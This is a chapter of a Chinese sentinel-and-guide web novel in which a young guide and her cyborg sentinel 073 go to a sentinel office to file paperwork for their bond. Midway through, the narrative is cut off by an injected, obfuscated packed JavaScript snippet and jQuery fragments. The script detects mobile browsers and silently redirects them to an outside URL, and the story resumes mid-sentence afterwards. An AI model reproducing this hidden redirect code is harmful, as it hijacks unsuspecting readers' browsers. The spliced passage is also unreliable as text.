应知晓反复提醒自己要稳重，镇定，仿照那些在役的厉害向导模样，表现得成熟可靠些，极力压住上翘的嘴角：“我们登记吧？”


    太唐突了。


    话一出口，立刻有些后悔。课上明明教过的，和哨兵确立法定关系前，要通过适当的交流平和且循序渐进地了解彼此。


    指间铃铛在搓弄之下咯吱咯吱响，她猛地松手丢开，过多零碎的肢体动作会给人不自信的印象。


    073合拢目镜，转身出门。


    他走得很快，应知晓不过愣了片刻，眼前就只剩背影。


    难道她又搞砸了？


    “不走？”距离有点远，走廊里的声音听起来很轻。


    大脑还没来得及发出指令，耳边有节奏的脚步声由远及近：“累？”


    “啊？”她睫毛扇了扇。


    下一秒，视野陡然拔高，双脚在瞬间的失重感中离开了地面。


    073架起她托到怀里，重新走出门。


    她反应慢了拍，半坐半靠在他小臂上，悬空的腿乱晃：“等等、等等！”


    073顿住，勉强能分辨出滤光镜片后正看着路的眼睛下移了几分。


    他没说话，应知晓推测，可能是疑惑的意思，她也疑惑：“呃，你要做什么？”


    “抱你。”073不懂她的质疑，履行哨兵的职责合情合法。


    嗯，或许这是种比较独特的增进感情的方式？


    作为监护向导，有义务在一定程度内照顾哨兵的喜好，而拥抱显然不是什么离谱的事。他的态度过于理所当然，应知晓越想越觉得是这么回事。


    实操对象来之不易，要认真维护。她花了两秒种成功说服自己，以后尽量接受此类行为。


    琢磨了片刻，艰难给出了个她认为足够正面且淡定的评价：“……挺好。”


    她夸奖了他。


    一件微不足道的事并不值得如此。


    所以是她喜欢这样。


    073得出结论，默默记下。


    他的步速比刚刚更快，甚至带起阵阵风啸，盖过了落地时交替出现的机械传动声。应知晓眼前景象拉长成片片虚影，不自觉扣紧他的肩膀。万一掉下去，恐怕跟跳车的效果差不多。


    随即，她又意识到这种担心是多余的。垫在身下的左手稳稳固定在腿侧，堪比过山车的压杆，感受不到任何、哪怕是最轻微的颤动。


    意外的，体验感比坐车强多了。


    美中不足的是这样的姿态着实有些招摇，路上回头率起码有八成，其余两成还基本是在忙自己的事情，一时没注意才错过了。


    他要去哪？她极少离开云顶，对别的分区环境陌生，很久方认出073的路线——


    在向导聚居的南方“云顶”与哨兵聚居的北方“要塞”之间，设立了过渡区“中庭”将两地分隔，形成了上宽下窄的“目”字布局。


    他们从中庭西南方的招待所里出来，正向核心地带高速移动。


    为了忽略路人频频投来的视线，她努力转移注意，思维越来越发散：如果每次出门都能让073带着，是不是就不会迟到了？这么干好像有点不太尊重……可是真的很快很方便啊！


    由于绝大多数电磁波会对向导、特别是未成年向导的精神力产生干扰，云顶的基础设施刻意维持在了蒸汽时代的水平，内部向导们的日常起居模式被迫停滞在几个世纪之前，交通工具速度更是慢得令人发指。


    中庭整体环境倒是与外界当前的状况接近，但只有在役的正式向导可以在此长期定居，她暂时不具备资格。


    思来想去，始终得先迈过毕业大关。


    “到了。”


    持续的呼哨模糊了大脑对时间流逝的感知，她听到提醒回神，原来人已经停在了被顶端立着觉醒世纪第一对哨兵向导伴侣携手造型雕塑的阶梯喷泉横断东西的枢机大道上。云顶与要塞的公众行政机关都坐落于此，遥遥对望，分列道旁。


    瞄了眼手表，抱着一个活人穿越小半个中庭，居然才用了二十多分钟，比直通列车慢一刻而已。


    她敢肯定，这远不是073的极限，他口鼻全程掩在净化面罩下，说话依旧吐字清晰，丝毫换气声都没发出。


    没等感慨完，073又动了，往大道北侧负责办理哨兵个人相关事务的哨管所走去。


    应知晓恍然，对啊，怎么给忘了。与哨兵建立法定关系时，除了实操课报名后学院代发的向导协会许可，哨兵方面也需要专门的手续，必须双方到场线下办理，齐全后才能申请登记。


    大厅内人头攒动，她实在克服不了尴尬的心理，干咳了声：“那个，先放我下来吧？”


    073颔首，视线转向怀里，从头到脚扫描完，检查到体征正常，慢慢将人送到地面。


    总算脚踏实地，她呼了口气，莫名感到他的动作透着种小心翼翼的意味。


    兴许是他刚刚的动作比较轻缓，与赶路时反差太大造成的错觉。


    073推开哨管所的多层防爆玻璃大门，海潮般的零碎声响霎时钻出门缝。


    她辨认出大部分是专门录制的白噪音——火花迸溅、风吹树叶、冰凌碎裂、纸张摩擦……用来缓解哨兵的听觉压力。这么多种动静混在一起，声音不算吵闹，但她听着只觉杂乱，真的有舒缓效果吗？


    细看几眼，噪声从每副随身佩戴的耳麦里外漏，而哨兵们表情稀松平常，似乎听不到周遭的杂音。在成片嘈杂中自觉保持半米以上的距离，彼此间几乎不会交谈，像是批量码放整齐的人形音响。


    初次见到哨兵成群结队，场面真够诡异的。


    应知晓下意识用余光观察073，他的耳麦好像一直很安静。


    他本人也很安静，乃至于进门后就不动了。


    “怎么了？”对方静立的时间有些久，她想，有必要关心关心。


    没得到回答，犹豫片刻，伸出指尖碰了碰他的手背。


    073条件反射地攥紧，随即又张开点，将她的手包住整个裹进掌心。


    隔着战术手套的缓震垫，机械手上的磁阻触觉传感阵列灵敏度大幅削弱。他精密控制每个关节的弯曲角度，保证在无法确切感知的情况下不会用力过猛伤到她。


    他看过她的手，尺寸、形状、温度、重量等数据不断预设、传输、更新，与目测的估值反复进行比对校准，最后停留在较为稳定的平均区间。


    读取到的数据时刻警示他，身边正站着自己的小向导，不能受这些把白噪音遮蔽仪功率开到最大才能外出的低级哨兵影响。


    一群烦人的苍蝇。


    杀掉他们。


    不行。


    有概率误伤她。


    073的精神图景外层隐隐震动，身处大堆电子设备之间的应知晓精神力远不如平时敏锐，并未察觉。


    手还被握着，当众甩开的话，他会难过的吧？她没好意思抽回手，转而轻轻摇了下：“我们进去吧？”


    “……好。”机械手收紧了一分，试图获取更清晰的触感。


    抬头看看指示牌，她朝对应的窗口队伍末尾走去。


    前排的哨兵顿时哗啦啦退向两侧，她迈出的脚一僵。


    什么情况？


    073习以为常，将她往前带：“走。”


    “插队不好吧。”应知晓迟疑，云顶里可不提倡。


    插队？073的字典里没这个概念。或者说，是哨兵群体没这个概念。他有能力斩杀在场的所有哨兵，不想死，便让路。


    要塞历来默许私斗，活下来的才是合格哨兵。


    退让的哨兵们显然抱有同样的观点，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719284|173880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纷纷垂眼，避开直接的视线接触，免得被认为是挑衅，虽然他们的存在本身就是一种挑衅。


    “不是插队。”073想说历来如此，如果有比他强大的哨兵现身，他也会让步。


    但小向导看上去还不懂哨兵们的潜规则，直觉告诉他，现在解释并非是好选择。


    他被难住了。


    踌躇间，窗口里办事员催促：“你们两个，快点儿，别杵在那耽误时间。”


    “是！”课堂上培养出的肌肉记忆让应知晓被点到名时一个激灵，顾不得再想，急忙越过哨兵们，站到窗口边。


    握着放大镜的老年男性哨兵办事员盯着终端屏幕问：“需要什么？”


    073上前半步：“无关系证明。”


    “稍等。”办事员眯眼，一个键一个键地敲键盘。


    应知晓对哨兵的手续办理流程基本一无所知，插不上手，倚着柜台干等。


    闲得无聊，想仔细看看哨管所的内部。转身，眼前只有073墙一般的宽阔胸膛，将她的视线全数挡住。


    转向侧面，是他撑起的手臂，形成人工的包围圈。站在其中并不拥挤，留出了自如活动的余地，但她还是有股密不透风之感，连四周气温都升高了几度。


    从073的视角，仅能看到她来回旋动的头顶，垂顺的发丝跟着甩来甩去，像风中的雨。


    触感一定很好。


    可惜现在不能摘手套。


    他强迫自己不要再关注，却开始模拟触碰它们时的感受。


    人不能想象出认知以外的事物，半机械体显然也不行。在多年束缚中沉寂的感官，此刻兀然生出挣脱的愿望，忍不住试图抓取些具体的事物填补那份体验上的缺失。


    在这个念头愈演愈烈时，073扣在柜台边的机械左臂骤然发力，石质台面“咔”地崩开，裂痕一路蔓延出树状细纹。


    “我去外面等。”他头也不回地跨出大厅，眨眼间不见了。


    应知晓来不及开口，面前空余阵疾行带起的风。


    说不惊吓是不可能的，她瞪着簌簌落灰的柜台，手指蹭蹭鼻尖，小声问：“这……”


    “不用管，会有专人处理，”办事员敲键盘的节奏不变，“看好你的哨兵。”


    她很想大呼冤枉，但罪证摆在面前，不认也得认，忙不迭点头：“是是，我会的、我会的。”


    “好了。”办事员递出证明，目光在她的学员制服上停留一瞬，摇头嘀咕，“真是越来越不讲究了。”


    轻蔑的口吻，听得应知晓捏着证明文件的手指微微用力。


    “这位男士，如果对此有不满，”她蹙眉，指指台面裂纹，“我已经成年了，完全可以负责。”


    “没有针对你的意思，小向导，”办事员慢悠悠道，“但挑选哨兵，不能只看实力，人品更重要。你知不知道他是……”


    办事员像是有所顾忌，话说到一半临时改口：“好心劝你句，年轻冲动，容易后悔。”


    应知晓的表情丝毫没有因这句解释而舒缓，眉头反而蹙得更紧。她不喜欢，或者说极其讨厌旁人莫名其妙的教育。


    因为这些人不问缘由的定义与决策，她的人生被斩断了太多可能，错失了太多机会，沦落至今，得到的却是变本加厉的鄙夷。


    办事员说的是对是错，眼下已无心细究，这一次，她必须自己选择。


    “我为我的哨兵失控道歉。但——


    如果我没看错的话，这里是哨管所的大厅，不是向导学院的教室；您是办事员，不是教授。对我眼光和我哨兵为人的评判，恐怕并不在您的专业范围内。”


    抛出这段话，她深深吸了口气，没理会办事员的反应，无视两旁哨兵们若有若无斜来的好奇眼神，踏出大厅，触发时还略显局促的步伐越发平稳，逐渐坚定。